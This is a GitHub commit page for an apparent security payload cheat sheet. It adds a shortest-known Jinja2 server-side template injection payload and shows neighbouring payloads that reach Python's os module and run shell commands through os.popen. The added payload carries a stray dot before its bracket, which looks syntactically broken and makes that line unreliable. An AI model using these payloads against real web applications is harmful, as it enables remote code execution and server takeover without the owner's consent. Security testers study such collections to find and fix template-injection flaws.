Skip to content

Commit

Permalink
Merge pull request #642 from p0dalirius/patch-1
Browse files Browse the repository at this point in the history
Adding Jinja2 RCE through lipsum in Templates
  • Loading branch information
swisskyrepo committed May 9, 2023
2 parents 5af6a23 + 9c2b040 commit 8d2c30e
Showing 1 changed file with 9 additions and 1 deletion.
10 changes: 9 additions & 1 deletion Server Side Template Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -563,7 +563,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
We can use these shorter payloads (this is the shorter payloads known yet):
We can use these shorter payloads:
```python
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Expand All @@ -573,6 +573,14 @@ We can use these shorter payloads (this is the shorter payloads known yet):
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python
{{ lipsum.__globals__.["os"].popen('id').read() }}
```
Source: https://twitter.com/podalirius_/status/1655970628648697860
#### Exploit the SSTI by calling subprocess.Popen
:warning: the number 396 will vary depending of the application.
Expand Down

0 comments on commit 8d2c30e

Please sign in to comment.